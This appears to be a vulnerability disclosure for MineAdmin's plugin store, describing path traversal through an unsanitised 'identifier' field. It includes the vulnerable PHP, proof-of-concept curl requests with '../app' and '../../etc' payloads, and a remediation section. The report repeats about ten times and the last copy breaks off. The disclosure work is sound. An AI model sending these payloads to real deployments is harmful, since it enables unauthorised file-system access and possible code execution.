mineadmin/mineadmin

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

• Path traversal enables reading directory existence outside the plugin directory
• Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
• Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
• Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

